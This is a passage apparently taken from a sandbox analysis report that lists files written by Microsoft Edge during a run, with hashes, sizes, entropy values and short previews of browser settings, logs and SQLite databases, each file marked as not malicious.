SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1788bbbf-5fa1-4e89-95be-9192587ce4d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6e932a4a-c2be-4b68-90ea-f72e42c1fa6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\78b83ddc-812c-48f9-8a56-fbac1460a618.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2b26e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.212943651072281
Encrypted:	false
SSDEEP:	6:HY6eIq2PCHhJ23oH+TcwtzjqEKj0QMxIFUt8YY6hZmw+YY6/jzkwOCHhJ23oH+Tj:sIvBYebvqBZFUt8I/+k56YebvqBaJ
MD5:	B5A14C9E514CC57C21A360C091DFEE4D
SHA1:	615830AFC5E4C516CA933BFF1B9431EF1915BC75
SHA-256:	ED4F318F80D5B24EAA0EFCD8AC783B90D21D514CAC7D471D57BE221A37195FC4
SHA-512:	2FD644E4EDD4BE1EEB8378CB2FFABC9526632907B8FF98BE7FDCDD575F8F1EB3B5431A5149A2DF994A16143799D0A8FC119348421A6F26D9FF65A7CD2E17FF32
Malicious:	false
Preview:	2024/11/26-02:03:51.122 1c24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/26-02:03:51.123 1c24 Recovering log #3.2024/11/26-02:03:51.127 1c24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.212943651072281
Encrypted:	false
SSDEEP:	6:HY6eIq2PCHhJ23oH+TcwtzjqEKj0QMxIFUt8YY6hZmw+YY6/jzkwOCHhJ23oH+Tj:sIvBYebvqBZFUt8I/+k56YebvqBaJ
MD5:	B5A14C9E514CC57C21A360C091DFEE4D
SHA1:	615830AFC5E4C516CA933BFF1B9431EF1915BC75
SHA-256:	ED4F318F80D5B24EAA0EFCD8AC783B90D21D514CAC7D471D57BE221A37195FC4
SHA-512:	2FD644E4EDD4BE1EEB8378CB2FFABC9526632907B8FF98BE7FDCDD575F8F1EB3B5431A5149A2DF994A16143799D0A8FC119348421A6F26D9FF65A7CD2E17FF32
Malicious:	false
Preview:	2024/11/26-02:03:51.122 1c24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/26-02:03:51.123 1c24 Recovering log #3.2024/11/26-02:03:51.127 1c24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.251520440895889
Encrypted:	false
SSDEEP:	6:HYu6+q2PCHhJ23oH+TcwtpIFUt8YYsIXZmw+YYsI3VkwOCHhJ23oH+Tcwta/WLJ:3bvBYebmFUt8fX/+fF56YebaUJ
MD5:	35EEB7E04297B1C82D5C46B43A0D98A3
SHA1:	A99832E158DB209CAC3AB8662A62618486E8E2B6
SHA-256:	92D8BB1E2C7905D8E1957FF8412D425A937827DCEF390C81211EC36BBE95FC1C
SHA-512:	6D2D44ACD7DCD4D0F8B6CE92BF9BDB899809011F5D715FEBC738BE69DB5D2F61B663D9AA0709B5C7BF6C65B50D6A4F43C1A6E946C326A0523997D976BE86BAEC
Malicious:	false
Preview:	2024/11/26-02:03:32.189 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/26-02:03:32.350 b68 Recovering log #3.2024/11/26-02:03:32.350 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.251520440895889
Encrypted:	false
SSDEEP:	6:HYu6+q2PCHhJ23oH+TcwtpIFUt8YYsIXZmw+YYsI3VkwOCHhJ23oH+Tcwta/WLJ:3bvBYebmFUt8fX/+fF56YebaUJ
MD5:	35EEB7E04297B1C82D5C46B43A0D98A3
SHA1:	A99832E158DB209CAC3AB8662A62618486E8E2B6
SHA-256:	92D8BB1E2C7905D8E1957FF8412D425A937827DCEF390C81211EC36BBE95FC1C
SHA-512:	6D2D44ACD7DCD4D0F8B6CE92BF9BDB899809011F5D715FEBC738BE69DB5D2F61B663D9AA0709B5C7BF6C65B50D6A4F43C1A6E946C326A0523997D976BE86BAEC
Malicious:	false
Preview:	2024/11/26-02:03:32.189 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/26-02:03:32.350 b68 Recovering log #3.2024/11/26-02:03:32.350 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264539568805177
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMeSAELyKOMq+8QTQKC+CVum8:K0q+n0Je9ELyKOMq+8Q7z
MD5:	335D6EB4EF1B7EC736150AC1537AEF4D
SHA1:	EFDBA679416EC782A4213F77248308F4EF0155A9
SHA-256:	3EBCB1D45F46C7F9A94B5B9EAE7AADF2FE60DCF755FFF3F0E9931F1756C97E2F
SHA-512:	0A69676569D68378818D5C68548CFE6F4654EA23906707C9EB5BBC57C466C1E14A5D52A765DAF4B8ABCFF3115A70AC0B9A6545A46DF7ECC539BEA0CA7B6E5B89
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4661278700794483
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0op:v7doKsKuKZKlZNmu46yjx0m
MD5:	C39693981E43331B82142D58C551FCD8
SHA1:	798586552103C5ACC5ED6BB6D356070D64F8F98E
SHA-256:	30DBC47C94550C38E08C27E58D374F9FA1429BF30A84445AB639A5E9017C4176
SHA-512:	ECD84793C5E9463BCBBA06AE3023588600CA3D2D79731A0F5A9D04E8220C3C41B3EB5AE7F186F23D3FF2A1F0D3258F0A2C10C46CE1D025F0B8FA52A2B721FADB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b41a2f19-003e-4c23-8536-d6781e2220a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.5610014922199875
Encrypted:	false
SSDEEP:	768:EaIO767pLGLPJbWPJRfEQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVGbVum9ZrwqJnWl:EaIO7ScPJbWPJRfEQu1jafbVD9qqJnT8
MD5:	9E6024015D6BB78DCFE149F460735AF9
SHA1:	C7A1CD988271571A8636912D4A822371222317A7
SHA-256:	24DC3480A6181C6D720BF4B7BF5509ACC4C03FA6BCE806E31431CFEE8AD3A1B1
SHA-512:	AFA4BACC6D4C691D0870D790E6BD911FC1ABEB63D3155A7CAE32C57E037EFB69389F784DA8C7C3B6F57E3A19D62CE4AEC2B21DAE9A7B53460A6FBDE8319B2DF3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377078212191854","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377078212191854","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c9d941da-178e-477a-a8b9-c17ce24f870a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16677), with no line terminators
Category:	dropped
Size (bytes):	16683
Entropy (8bit):	5.453388860160683
Encrypted:	false
SSDEEP:	384:sthPGQSu4Ss2QXDrvXMMMsD6/TnWbGAQwM37NIt:svOXu3QPlvbGPha
MD5:	347F3D33872AB03DBAE9080F5D7B0503
SHA1:	1450D17C1A434CB8501C270EE4BC895425C1B8E1
SHA-256:	3C296A6434B9AB13241F17CFE6A383929BC808FE9F5F7338D6C83092FF2044E5
SHA-512:	8AB94579046FC091FEF6C6707E6F947E44B0A298C3080C2847B8EE9DD681AC90D975C5212B15DBAFDD931A334E77A238ED42E5492330FDC3ABBEB3D68385C7F9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377078212783815","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d0b664f7-c749-4cea-ad5a-e95ea9406909.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17435), with no line terminators
Category:	dropped
Size (bytes):	17441
Entropy (8bit):	5.493933634124879
Encrypted:	false
SSDEEP:	384:sthPGQSu4Ss2QXaSxrvXMMMsD6/TnWbGAQwMHf7NIt:svOXu3QzlvbGPJa
MD5:	CE667B52E5F591D405FD43AD7CBB5EA7
SHA1:	A13B53C50A836EFAD208FF9E386E131728D15E1D
SHA-256:	E329F80D61593DA85F83BCA2DF1DBC397674DB97B5A5A2F9049CE8A1A2212FB3
SHA-512:	8ED9132591D13320AE9D0E5F99738DDDD5E5700773A8EA1CB90102A3BE21E9EB07FC58265BBD18D95500FA58BDE1CD806409F47F0A68BE21A08698F26BD97E8F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377078212783815","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\eadfcd57-e90e-406d-9865-6a6e93c3ef77.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17435), with no line terminators
Category:	dropped
Size (bytes):	17441
Entropy (8bit):	5.493985931935638
Encrypted:	false
SSDEEP:	384:sthPGQSu4Ss2QXaSxrvXMMMsD6/TnWbGAQwMFf7NIt:svOXu3QzlvbGPja
MD5:	F1C8AEA84582D46559106644D41C7212
SHA1:	FF18C96E7946ABEAF1BEEADDBB6DBA438DA0EFCD
SHA-256:	FE88FCD597BF818881194F68F29FEC8154C9CD2323E90A1B5D0B30F7830FFF8D
SHA-512:	81A8F248FBDBF70401CDA4BC37DF8AA41DACAB36831FCC5B1CC68DD5D3A1C47E07634365C52D72A3DD7BB7F2481848DB3AEA4F7DCB3F8D69448B8BDCD98D4ECF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377078212783815","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932